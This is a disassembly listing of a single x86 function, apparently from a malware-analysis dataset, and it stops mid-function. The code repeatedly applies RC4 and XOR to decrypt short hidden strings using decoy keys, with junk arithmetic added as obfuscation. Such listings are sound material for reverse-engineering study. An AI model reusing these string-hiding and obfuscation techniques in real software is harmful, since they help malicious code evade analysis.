Function at 0x1000baf8
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
push esi
mov dword [ebp - 0x25c], 0x15
mov esi, str.220363M3S3h3n3
mov dword [ebp - 0x258], 0x51
mov dword [ebp - 0x254], 0x24
mov dword [ebp - 0x250], 0xffffff6b
movups xmm1, xmmword [ebp - 0x25c]
push edi
lea edi, [ebp - 0x74]
mov dword [ebp - 0x4c], ecx
movaps xmm0, xmm1
movsd dword es:[edi], dword [esi]
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [ebp - 0x23c], edx
movups xmm0, xmm1
mov word [ebp - 0x33], 0x7303
psrldq xmm0, 4
push 0xb
pop ecx
paddd xmm1, xmm0
movsd dword es:[edi], dword [esi]
movd eax, xmm1
push 0x53
mov dword [ebp - 0x184], ecx
add eax, ecx
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x340], eax
xor ecx, ecx
pop eax
mov dword [ebp - 0x234], eax
mov byte [ebp - 0x34], al
mov byte [ebp - 0x30], al
push 0x1f
pop eax
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x54], eax
mov edi, ecx
mov byte [ebp - 0x2c], al
mov eax, ecx
mov byte [ebp - 0x31], 0x78
mov word [ebp - 0x2f], 0xf408
mov byte [ebp - 0x2d], 0xb0
mov word [ebp - 0x2b], 0x5943
mov byte [ebp - 0x29], 0x2f
mov byte [ebp + eax - 0x174], al
inc eax
cmp eax, 0x100
jb 0x1000bbb0
mov esi, ecx
mov dword [ebp - 0x1c], 0xf
xor edx, edx
mov cl, byte [ebp + esi - 0x174]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x1c]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x74]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x174]
mov byte [ebp + esi - 0x174], al
mov eax, dword [0x100249f0]
xor eax, 0x3a1eb9e2
mov dword [0x10024e14], eax
call fcn.1000b485
add dword [0x10024c08], 0xc92fbb2
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x174], al
cmp esi, 0x100
jb 0x1000bbc8
xor eax, eax
mov dword [ebp - 0x64], 0xc
mov dword [ebp - 0x10], eax
mov edi, eax
mov esi, eax
mov eax, dword [0x100249f0]
mov dword [ebp - 0x40], eax
and eax, 0x273f449c
mov dword [ebp - 0x24], eax
mov dword [0x10024c08], eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x10]
push 0xc
mov cl, byte [ebp + edi - 0x174]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x10], eax
mov al, byte [ebp + eax - 0x174]
mov byte [ebp + edi - 0x174], al
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x174], cl
movzx eax, byte [ebp + edi - 0x174]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x174]
xor al, byte [ebp + esi - 0x34]
mov byte [ebp + esi - 0x3cc], al
inc esi
pop eax
cmp esi, eax
jb 0x1000bc4c
mov esi, str.IsSameTime_tm_
mov word [ebp - 0xc], 0x9461
lea edi, [ebp - 0x38]
mov byte [ebp - 0xa], 0xfd
xor ecx, ecx
mov byte [ebp - 0x3c0], cl
mov eax, ecx
movsd dword es:[edi], dword [esi]
mov dword [ebp - 8], ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov byte [ebp + eax - 0x174], al
inc eax
cmp eax, 0x100
jb 0x1000bccb
mov esi, dword [ebp - 0x40]
mov edi, ecx
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x44], 0xe
movzx eax, byte [str.Trying_to_kill_other_lastpass.exe_instance._from_s]
mov edx, str.Trying_to_kill_other_lastpass.exe_instance._from_s
mov dword [ebp - 0x10], 0x18e5
test eax, eax
je 0x1000bd22
add dword [ebp - 0x10], eax
inc edx
cmp dword [ebp - 0x10], 0x4f3
ja 0x1000bd16
movzx eax, byte [edx]
test eax, eax
jne 0x1000bd00
jmp 0x1000bd35
imul esi, esi, 0x74300583
mov dword [0x100249f0], esi
mov edx, esi
call fcn.1000b9f7
mov esi, dword [0x100249f0]
mov ecx, dword [0x10024c08]
push ecx
mov eax, str.Trying_to_kill_other_lastpass.exe_instance._from_s
xor esi, 0x552f603e
push str.SymSetOptions
mov edx, eax
mov dword [0x10024e14], esi
mov ecx, eax
call fcn.1000ad0f
pop ecx
pop ecx
xor edx, edx
mov cl, byte [ebp + edi - 0x174]
mov eax, edi
mov esi, dword [0x100249f0]
div dword [ebp - 0x44]
mov byte [ebp - 1], cl
and esi, 0xe708de1c
movzx ecx, cl
mov dword [0x100249f0], esi
movzx eax, byte [ebp + edx - 0x38]
add eax, dword [ebp - 8]
add ecx, eax
movzx edx, cl
lea ecx, [esi - 0x5489ab0c]
mov dword [ebp - 8], edx
mov dword [0x10024c08], ecx
mov al, byte [ebp + edx - 0x174]
mov byte [ebp + edi - 0x174], al
inc edi
mov al, byte [ebp - 1]
mov byte [ebp + edx - 0x174], al
cmp edi, 0x100
jb 0x1000bce9
mov esi, dword [0x10024e14]
or ecx, 0x1f31fbc6
add esi, 0x3f04ec18
mov dword [0x100249f0], ecx
xor eax, eax
mov dword [0x10024c08], esi
mov dword [ebp - 0x48], eax
mov edx, eax
mov edi, eax
mov dword [ebp - 0x60], 9
lea eax, [edx + 1]
mov dword [ebp - 0x10], 0xd2e
movzx edx, al
mov dword [ebp - 8], edx
mov al, byte [ebp + edx - 0x174]
mov byte [ebp - 1], al
movzx eax, al
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x20]
movzx eax, al
mov dword [ebp - 0x48], eax
mov al, byte [ebp + eax - 0x174]
mov byte [ebp + edx - 0x174], al
mov edx, str.GdipIsVisibleRegionRect
movzx eax, byte [str.GdipIsVisibleRegionRect]
jmp 0x1000be44
add dword [ebp - 0x10], eax
inc edx
cmp dword [ebp - 0x10], 0x141d
ja 0x1000be4a
movzx eax, byte [edx]
test eax, eax
jne 0x1000be34
jmp 0x1000be6d
mov edx, str.Trying_to_kill_other_lastpass.exe_instance._from_s
mov ecx, esi
call fcn.1000ab17
mov ecx, dword [0x100249f0]
mov esi, dword [0x10024c08]
lea eax, [ecx - 0x455a307b]
mov dword [0x10024e14], eax
xor esi, 0xbd8d28a0
mov dword [0x10024c08], esi
mov edx, esi
push ecx
mov esi, str.SymSetOptions
mov ecx, esi
call fcn.1000b8a0
mov al, byte [str.GdipIsVisibleRegionRect]
mov edx, str.GdipIsVisibleRegionRect
pop ecx
mov ecx, edx
jmp 0x1000bea0
sub al, 0x30
cmp al, 9
ja 0x1000bea6
inc ecx
mov al, byte [ecx]
test al, al
jne 0x1000be97
jmp 0x1000beb5
imul eax, dword [0x10024c08], 0x48341b8
mov dword [0x10024e14], eax
mov eax, dword [0x10024e14]
mov ecx, str.Trying_to_kill_other_lastpass.exe_instance._from_s
add eax, 0x72ced047
mov dword [0x10024c08], eax
call fcn.1000a2e1
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 8]
mov cl, byte [ebp - 1]
mov byte [ebp + eax - 0x174], cl
movzx eax, byte [ebp + edx - 0x174]
add eax, dword [ebp - 0x20]
movzx eax, al
mov al, byte [ebp + eax - 0x174]
xor al, byte [ebp + edi - 0xc]
mov byte [ebp + edi - 0x238], al
inc edi
cmp edi, 3
jae 0x1000bf15
mov ecx, dword [0x100249f0]
mov esi, dword [0x10024c08]
jmp 0x1000bdec
mov al, byte [str.GdipIsVisibleRegionRect]
mov ecx, str.GdipIsVisibleRegionRect
test al, al
je 0x1000bf37
push 9
pop edx
sub al, 0x30
cmp al, dl
ja 0x1000bfb0
inc ecx
mov al, byte [ecx]
test al, al
jne 0x1000bf26
mov eax, dword [0x10024c08]
mov edx, dword [0x100249f0]
xor eax, 0xb96db557
push eax
mov ecx, esi
mov dword [0x10024c08], eax
call fcn.1000b8a0
pop ecx
push 5
pop ecx
mov esi, str.FocalLengthIn35mmFilm
mov dword [ebp - 0x18], 0x76e1ac07
lea edi, [ebp - 0x1a0]
xor edx, edx
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x235], dl
mov eax, edx
movsw word es:[edi], word [esi]
mov edi, edx
mov dword [ebp - 0x10], edi
mov byte [ebp + eax - 0x174], al
inc eax
cmp eax, 0x100
jb 0x1000bf7d
mov eax, dword [0x10024c08]
mov esi, edx
mov ecx, str.SymSetOptions
inc edx
lea ecx, [ecx + 2]
cmp edx, 0x2005
je 0x1000bfbc
xor edi, edi
cmp word [ecx], di
mov edi, dword [ebp - 0x10]
jne 0x1000bf98
jmp 0x1000bfd5
imul eax, dword [0x10024c08], 0x12a34657
jmp 0x1000bf3c
call fcn.1000a244
mov eax, dword [0x100249f0]
add eax, 0x2b35a674
mov dword [0x10024e14], eax
mov eax, dword [0x10024c08]
imul eax, eax, 0xd5a888b7
mov dword [0x100249f0], eax
call fcn.1000ab88
xor edx, edx
mov cl, byte [ebp + esi - 0x174]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x25c]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x1a0]
mov edx, str.Trying_to_kill_other_lastpass.exe_instance._from_s
add eax, edi
mov edi, 0x784
add ecx, eax
movzx eax, cl
mov ecx, dword [0x10024c08]
add ecx, 0x732fa63d
mov dword [ebp - 0x10], eax
mov eax, ecx
mov dword [0x10024c08], ecx
xor eax, 0x9766bb6f
mov dword [0x100249f0], eax
movzx eax, byte [str.Trying_to_kill_other_lastpass.exe_instance._from_s]
test eax, eax
je 0x1000c061
add edi, eax
inc edx
cmp edi, 0x21e
ja 0x1000c055
movzx eax, byte [edx]
test eax, eax
jne 0x1000c041
jmp 0x1000c071
xor ecx, 0x711b6ca6
mov dword [0x10024c08], ecx
mov ecx, str.GdipIsVisibleRegionRect
call fcn.1000ada6
mov ecx, dword [0x10024c08]
mov edi, dword [ebp - 0x10]
and ecx, 0x675f90a5
mov dword [0x100249f0], ecx
mov al, byte [ebp + edi - 0x174]
mov byte [ebp + esi - 0x174], al
imul eax, ecx, 0xe54ae9af
mov dword [0x10024c08], eax
xor eax, eax
cmp byte [str.Trying_to_kill_other_lastpass.exe_instance._from_s], al
je 0x1000c0bb
inc eax
cmp eax, 0x4c9
je 0x1000c103
cmp byte [eax + str.Trying_to_kill_other_lastpass.exe_instance._from_s], 0
jne 0x1000c0a3
cmp eax, 0x3ee
jg 0x1000c112
mov eax, dword [0x10024e14]
add eax, 0x75b4007b
mov dword [0x10024e14], eax
mov dl, byte [ebp - 1]
add eax, 0x90565164
mov byte [ebp + edi - 0x174], dl
inc esi
xor edx, edx
mov dword [0x10024c08], eax
cmp esi, 0x100
jb 0x1000bf93
mov dword [ebp - 0x10], edx
mov esi, str.GdipIsVisibleRegionRect
mov dword [ebp - 0x178], edx
mov dl, byte [str.GdipIsVisibleRegionRect]
jmp 0x1000c130
call fcn.1000b137
imul ecx, dword [0x100249f0], 0x8ac6aeb1
mov eax, dword [0x10024e14]
imul ecx, ecx, 0xffd9b7ba
mov dword [0x100249f0], ecx
jmp 0x1000c0ca
sub dl, 0x30
cmp dl, 9
ja 0x1000c136
inc esi
mov dl, byte [esi]
test dl, dl
jne 0x1000c125
jmp 0x1000c142
or ecx, 0x521182cf
mov dword [0x100249f0], ecx
add eax, 0x7a49c2a9
mov dword [0x10024c08], eax
call fcn.1000a4b8
movzx eax, byte [str.Trying_to_kill_other_lastpass.exe_instance._from_s]
mov edi, str.Trying_to_kill_other_lastpass.exe_instance._from_s
mov edx, 0x1e2e
mov ecx, edi
test eax, eax
je 0x1000c196
add edx, eax
inc ecx
cmp edx, 0x1bba
ja 0x1000c18c
movzx eax, byte [ecx]
test eax, eax
jne 0x1000c168
imul eax, dword [0x100249f0], 0x700c43e0
mov edx, dword [0x10024e14]
jmp 0x1000c1ad
sub dword [0x100249f0], 0x719df1f4
mov edx, dword [0x10024e14]
mov eax, dword [0x10024c08]
sub edx, 0x34a35fba
mov dword [0x10024e14], edx
imul eax, eax, 0xb0c9b412
mov esi, str.SymSetOptions
mov ecx, esi
push eax
mov dword [0x10024c08], eax
call fcn.1000b402
movzx eax, byte [str.Trying_to_kill_other_lastpass.exe_instance._from_s]
mov edx, 0xeed
pop ecx
mov ecx, edi
jmp 0x1000c1e4
add edx, eax
inc ecx
cmp edx, 0x2349
ja 0x1000c1ea
movzx eax, byte [ecx]
test eax, eax
jne 0x1000c1d6
jmp 0x1000c1fc
mov eax, str.GdipIsVisibleRegionRect
mov edx, esi
push esi
push eax
mov ecx, eax
call fcn.1000a58e
pop ecx
pop ecx
mov edi, dword [0x10024e14]
lea eax, [edi - 0x3127bd90]
mov dword [ebp - 0x40], eax
xor eax, eax
mov esi, eax
mov eax, dword [ebp - 0x178]
inc eax
movzx eax, al
mov dword [ebp - 0x178], eax
mov cl, byte [ebp + eax - 0x174]
mov eax, dword [ebp - 0x10]
movzx edx, cl
add eax, edx
mov dword [ebp - 0x24], edx
mov edx, dword [ebp - 0x178]
movzx eax, al
mov dword [ebp - 0x10], eax
mov al, byte [ebp + eax - 0x174]
mov byte [ebp + edx - 0x174], al
lea eax, [edi - 0x66a6b789]
mov dword [ebp - 8], eax
and edi, 0x99e7e409
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x174], cl
mov eax, edx
movzx eax, byte [ebp + eax - 0x174]
add eax, dword [ebp - 0x24]
movzx eax, al
mov al, byte [ebp + eax - 0x174]
xor al, byte [ebp + esi - 0x18]
mov byte [ebp + esi - 0x33c], al
inc esi
cmp esi, 4
jb 0x1000c20f
mov esi, str.timeoutrequest
mov byte [ebp - 0x38], 0x7e
lea edi, [ebp - 0x74]
mov dword [ebp - 0x36], 0x5bc88c3c
push 9
xor ecx, ecx
mov dword [ebp - 0x32], 0xb21bd22e
movsd dword es:[edi], dword [esi]
pop eax
mov byte [ebp - 0x37], al
mov eax, ecx
mov byte [ebp - 0x338], cl
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x2e], 0xe9dfe47b
mov dword [ebp - 0x10], ecx
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov byte [ebp + eax - 0x174], al
inc eax
cmp eax, 0x100
jb 0x1000c2c6
mov edi, dword [ebp - 0x40]
mov esi, ecx
xor edx, edx
mov cl, byte [ebp + esi - 0x174]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x44]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x74]
add eax, dword [ebp - 0x10]
add ecx, eax
movzx eax, cl
mov dword [ebp - 0x10], eax
mov al, byte [ebp + eax - 0x174]
mov byte [ebp + esi - 0x174], al
xor edi, 0x535d7934
mov dword [0x10024c08], edi
mov eax, dword [ebp - 8]
and eax, 0x84730034
mov dword [0x100249f0], eax
imul eax, edi, 0x376d2446
mov dword [0x10024e14], eax
call fcn.1000b231
mov ecx, dword [ebp - 0x10]
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + ecx - 0x174], al
cmp esi, 0x100
jae 0x1000c35e
mov eax, dword [0x100249f0]
mov edi, dword [0x10024c08]
mov dword [ebp - 8], eax
jmp 0x1000c2da
xor eax, eax
mov ecx, eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov al, byte [ebp + edi - 0x174]
mov byte [ebp - 1], al
movzx eax, al
add eax, ecx
mov ecx, dword [0x10024c08]
movzx edx, al
mov dword [ebp - 0x24], edx
mov al, byte [ebp + edx - 0x174]
mov byte [ebp + edi - 0x174], al
lea eax, [ecx + 0x22d2cb59]
mov dword [0x10024e14], eax
mov al, byte [ebp - 1]
mov byte [ebp + edx - 0x174], al
xor eax, eax
cmp byte [str.Trying_to_kill_other_lastpass.exe_instance._from_s], al
je 0x1000c3de
inc eax
cmp eax, 0xd3c
je 0x1000c3d4
cmp byte [eax + str.Trying_to_kill_other_lastpass.exe_instance._from_s], 0
jne 0x1000c3b4
cmp eax, 0x1aaa
jle 0x1000c3de
xor ecx, 0x59de1795
jmp 0x1000c3ea
imul ecx, dword [0x10024e14], 0x1702e96d
mov eax, ecx
and eax, 0xfd541ca8
mov dword [0x10024e14], eax
imul eax, ecx, 0x9956c8db
mov dword [0x10024c08], eax
call fcn.1000a4b8
movzx eax, byte [ebp - 1]
movzx ecx, byte [ebp + edi - 0x174]
add ecx, eax
movzx eax, cl
mov ecx, dword [ebp - 0x24]
push 0xe
mov al, byte [ebp + eax - 0x174]
xor al, byte [ebp + esi - 0x38]
mov byte [ebp + esi - 0x3fc], al
inc esi
pop eax
cmp esi, eax
jb 0x1000c366
push 0xa
pop ecx
mov esi, str.The_call_to_DeviceActivate_returned_false
mov dword [ebp - 0x178], ecx
lea edi, [ebp - 0x1b4]
mov word [ebp - 0xc], 0xbb54
rep movsd dword es:[edi], dword [esi]
xor eax, eax
mov byte [ebp - 0xa], 0x80
mov byte [ebp - 0x3ee], al
movsw word es:[edi], word [esi]
cmp byte [str.Trying_to_kill_other_lastpass.exe_instance._from_s], al
je 0x1000c46f
inc eax
cmp eax, 0xc3d
jl 0x1000c4bb
cmp byte [eax + str.Trying_to_kill_other_lastpass.exe_instance._from_s], 0
jne 0x1000c45e
mov esi, str.SymSetOptions
imul eax, dword [0x10024c08], 0xf4d54647
mov dword [0x10024e14], eax
and eax, 0xb33495c6
mov edx, esi
push esi
push esi
mov ecx, esi
mov dword [0x10024c08], eax
call fcn.1000b764
xor eax, eax
mov edx, 0x599
sub dword [0x10024e14], 0x365cab01
mov edi, eax
movzx eax, byte [str.GdipIsVisibleRegionRect]
pop ecx
pop ecx
mov ecx, str.GdipIsVisibleRegionRect
jmp 0x1000c4d7
mov esi, str.SymSetOptions
mov ecx, esi
call fcn.1000a729
jmp 0x1000c474
add edx, eax
inc ecx
cmp edx, 0xbbc
ja 0x1000c51c
movzx eax, byte [ecx]
test eax, eax
jne 0x1000c4c9
mov ecx, dword [0x10024c08]
lea eax, [ecx - 0x193f1006]
mov dword [0x10024e14], eax
mov edx, str.Trying_to_kill_other_lastpass.exe_instance._from_s
imul eax, eax, 0xef299a98
push ecx
push esi
mov ecx, str.GdipIsVisibleRegionRect
mov dword [0x100249f0], eax
call fcn.1000ad0f
mov al, byte [str.Trying_to_kill_other_lastpass.exe_instance._from_s]
mov edx, dword [0x10024e14]
pop ecx
pop ecx
mov ecx, str.Trying_to_kill_other_lastpass.exe_instance._from_s
jmp 0x1000c554
push esi
push esi
mov edx, esi
mov ecx, esi
call fcn.1000b764
mov eax, dword [0x10024e14]
pop ecx
xor eax, 0x63dcc0a3
pop ecx
mov dword [0x10024c08], eax
call fcn.1000a4b8
mov ecx, dword [0x10024c08]
imul eax, ecx, 0x64ac2958
jmp 0x1000c4e7
sub al, 0x30
cmp al, 9
ja 0x1000c55a
inc ecx
mov al, byte [ecx]
test al, al
jne 0x1000c54b
jmp 0x1000c565
lea eax, [edx + 0x435eb026]
mov dword [0x100249f0], eax
imul eax, dword [0x10024c08], 0x41d483e
mov ecx, esi
push edx
mov dword [0x10024c08], eax
call fcn.1000b402
pop ecx
xor ecx, ecx
mov eax, ecx
mov byte [ebp + eax - 0x174], al
inc eax
cmp eax, 0x100
jb 0x1000c581
mov esi, ecx
mov dword [ebp - 0x24], 0x29
xor edx, edx
mov cl, byte [ebp + esi - 0x174]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x24]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x1b4]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x174]
mov byte [ebp + esi - 0x174], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x174], al
cmp esi, 0x100
jb 0x1000c599
xor eax, eax
mov dword [ebp - 0x10], eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x10]
mov cl, byte [ebp + edi - 0x174]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x10], eax
mov al, byte [ebp + eax - 0x174]
mov byte [ebp + edi - 0x174], al
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x174], cl
movzx eax, byte [ebp + edi - 0x174]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x174]
xor al, byte [ebp + esi - 0xc]
mov byte [ebp + esi - 0x240], al
inc esi
cmp esi, 3
jb 0x1000c5e6
mov esi, str.americanart
mov byte [ebp - 0x18], 0x76
lea edi, [ebp - 0x34]
mov word [ebp - 0x16], 0xe373
push 0x27
pop eax
movsd dword es:[edi], dword [esi]
xor ecx, ecx
mov dword [ebp - 0x5c], eax
mov byte [ebp - 0x17], al
mov eax, ecx
mov byte [ebp - 0x23d], cl
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, ecx
mov byte [ebp + eax - 0x174], al
inc eax
cmp eax, 0x100
jb 0x1000c668
mov esi, ecx
xor edx, edx
mov cl, byte [ebp + esi - 0x174]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x184]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x34]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x174]
mov byte [ebp + esi - 0x174], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x174], al
cmp esi, 0x100
jb 0x1000c679
xor eax, eax
mov dword [ebp - 0x10], eax
mov edi, eax
mov esi, eax
mov eax, dword [0x10024c08]
add eax, 0xd96404b4
mov dword [0x100249f0], eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x10]
mov cl, byte [ebp + edi - 0x174]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x10], eax
mov al, byte [ebp + eax - 0x174]
mov byte [ebp + edi - 0x174], al
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x174], cl
movzx eax, byte [ebp + edi - 0x174]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x174]
xor al, byte [ebp + esi - 0x18]
mov byte [ebp + esi - 0x264], al
inc esi
cmp esi, 4
jb 0x1000c6d5
push 0x1c
pop eax
mov dword [ebp - 0x180], eax
lea edi, [ebp - 0x1b8]
mov byte [ebp - 0x68], al
mov esi, str.trying_to_encode_undefined_Unicode_character
push 0xb
pop eax
mov ecx, eax
mov dword [ebp - 0x6c], 0x7ee96651
rep movsd dword es:[edi], dword [esi]
xor edx, edx
mov word [ebp - 0x67], 0xc8c4
mov byte [ebp - 0x260], dl
mov eax, edx
movsb byte es:[edi], byte [esi]
mov esi, dword [0x10024c08]
add esi, 0xfed2bbc9
mov dword [ebp - 0x40], esi
mov dword [0x10024e14], esi
mov byte [ebp + eax - 0x174], al
inc eax
cmp eax, 0x100
jb 0x1000c778
mov edi, edx
mov esi, edx
xor edx, edx
mov dword [ebp - 0x24], 0x2c
mov eax, edi
mov cl, byte [ebp + edi - 0x174]
div dword [ebp - 0x24]
mov byte [ebp - 1], cl
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x1b8]
add eax, esi
add ecx, eax
movzx esi, cl
mov al, byte [ebp + esi - 0x174]
mov byte [ebp + edi - 0x174], al
inc edi
mov al, byte [ebp - 1]
mov byte [ebp + esi - 0x174], al
cmp edi, 0x100
jb 0x1000c78b
mov esi, dword [ebp - 0x40]
xor eax, eax
mov edi, str.Trying_to_kill_other_lastpass.exe_instance._from_s
mov dword [ebp - 0x10], eax
movzx eax, byte [str.Trying_to_kill_other_lastpass.exe_instance._from_s]
mov edx, 0x7ee
mov ecx, edi
jmp 0x1000c801
add edx, eax
inc ecx
cmp edx, 0x1154
ja 0x1000c807
movzx eax, byte [ecx]
test eax, eax
jne 0x1000c7f3
jmp 0x1000c82e
mov edx, dword [0x100249f0]
add esi, 0x97bc5f4
mov ecx, dword [0x10024c08]
push edx
push edi
mov dword [0x10024e14], esi
call fcn.1000b3a3
mov esi, dword [0x10024e14]
pop ecx
pop ecx
or esi, 0xeed4e9b6
xor esi, 0xa3f4d2b8
mov dword [0x100249f0], esi
call fcn.1000ab88
movzx eax, byte [str.GdipIsVisibleRegionRect]
mov edx, 0xca7
mov ecx, str.GdipIsVisibleRegionRect
jmp 0x1000c86a
add edx, eax
inc ecx
cmp edx, 0x17af
ja 0x1000c93e
movzx eax, byte [ecx]
test eax, eax
jne 0x1000c858
mov esi, dword [0x10024c08]
or esi, 0xc9cad909
and esi, 0xcf375eaa
xor eax, eax
mov dword [ebp - 0x40], esi
mov edi, eax
mov esi, eax
lea eax, [esi + 1]
movzx esi, al
mov eax, dword [ebp - 0x10]
mov cl, byte [ebp + esi - 0x174]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x10], eax
mov al, byte [ebp + eax - 0x174]
mov byte [ebp + esi - 0x174], al
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x174], cl
movzx eax, byte [ebp + esi - 0x174]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x174]
xor al, byte [ebp + edi - 0x6c]
mov byte [ebp + edi - 0x35c], al
inc edi
cmp edi, 7
jb 0x1000c889
mov edx, dword [ebp - 0x40]
lea edi, [ebp - 0x1b0]
push 9
pop ecx
mov esi, str.cant_append_invalid_menu_to_menubar
mov word [ebp - 0xc], 0xc3dd
rep movsd dword es:[edi], dword [esi]
add edx, 0xc9355c50
mov byte [ebp - 0xa], 0xa7
xor eax, eax
mov byte [ebp - 0x355], al
movsb byte es:[edi], byte [esi]
mov edi, eax
mov byte [ebp + eax - 0x174], al
inc eax
cmp eax, 0x100
jb 0x1000c90f
push 0x53
mov ecx, str.SymSetOptions
pop esi
lea eax, [esi - 0x30]
cmp ax, word [ebp - 0x60]
ja 0x1000c952
add ecx, 2
movzx eax, word [ecx]
mov esi, eax
test ax, ax
jne 0x1000c926
jmp 0x1000c95e
call fcn.1000a4b8
imul esi, dword [0x10024e14], 0x85ef4242
jmp 0x1000c87a
mov edx, dword [0x100249f0]
xor edx, 0x80e33377
xor eax, eax
mov esi, eax
lea eax, [edx - 0x6b4c4586]
mov dword [ebp - 0x18], eax
xor edx, edx
mov cl, byte [ebp + esi - 0x174]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x254]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x1b0]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x174]
mov byte [ebp + esi - 0x174], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x174], al
cmp esi, 0x100
jb 0x1000c96b
xor eax, eax
mov dword [ebp - 0x10], eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x10]
mov cl, byte [ebp + edi - 0x174]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x10], eax
mov al, byte [ebp + eax - 0x174]
mov byte [ebp + edi - 0x174], al
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x174], cl
movzx eax, byte [ebp + edi - 0x174]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x174]
xor al, byte [ebp + esi - 0xc]
mov byte [ebp + esi - 0x244], al
inc esi
cmp esi, 3
jb 0x1000c9bb
mov esi, str.TIFFVStripSize64
mov word [ebp - 0xb], 0x1d72
lea edi, [ebp - 0x38]
mov byte [ebp - 9], 0x47
push 0x21
pop eax
movsd dword es:[edi], dword [esi]
xor ecx, ecx
mov dword [ebp - 0x188], eax
mov byte [ebp - 0xc], al
mov eax, ecx
mov byte [ebp - 0x241], cl
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edi, ecx
mov byte [ebp + eax - 0x174], al
inc eax
cmp eax, 0x100
jb 0x1000ca42
mov esi, ecx
mov dl, byte [ebp + esi - 0x174]
mov eax, esi
push 0xf
pop ecx
and eax, ecx
movzx ecx, dl
movzx eax, byte [ebp + eax - 0x38]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x174]
mov byte [ebp + esi - 0x174], al
inc esi
mov byte [ebp + edi - 0x174], dl
cmp esi, 0x100
jb 0x1000ca53
mov esi, dword [ebp - 0x18]
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov eax, ecx
mov edi, ecx
inc eax
movzx eax, al
mov dword [ebp - 0x48], eax
mov ecx, esi
and ecx, 0xfbe2c19b
mov dword [ebp - 0x40], ecx
mov dword [0x10024c08], ecx
lea ecx, [esi + 0x241c46c5]
and ecx, 0xdb547b82
mov dword [ebp - 0x24], ecx
mov dword [0x100249f0], ecx
lea esi, [ecx - 0x202a4e5]
mov cl, byte [ebp + eax - 0x174]
mov eax, dword [ebp - 0x10]
movzx edx, cl
add eax, edx
mov dword [ebp - 0x18], esi
movzx eax, al
mov dword [ebp - 0x10], eax
mov dword [0x10024e14], esi
mov esi, dword [ebp - 0x48]
mov al, byte [ebp + eax - 0x174]
mov byte [ebp + esi - 0x174], al
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x174], cl
mov eax, esi
mov esi, dword [ebp - 0x18]
movzx eax, byte [ebp + eax - 0x174]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x174]
xor al, byte [ebp + edi - 0xc]
mov byte [ebp + edi - 0x26c], al
inc edi
mov eax, dword [ebp - 0x48]
cmp edi, 4
jb 0x1000ca9a
xor edx, edx
mov eax, str.SymSetOptions
mov byte [ebp - 0x268], dl
mov ecx, edx
inc ecx
lea eax, [eax + 2]
cmp ecx, 0x1448
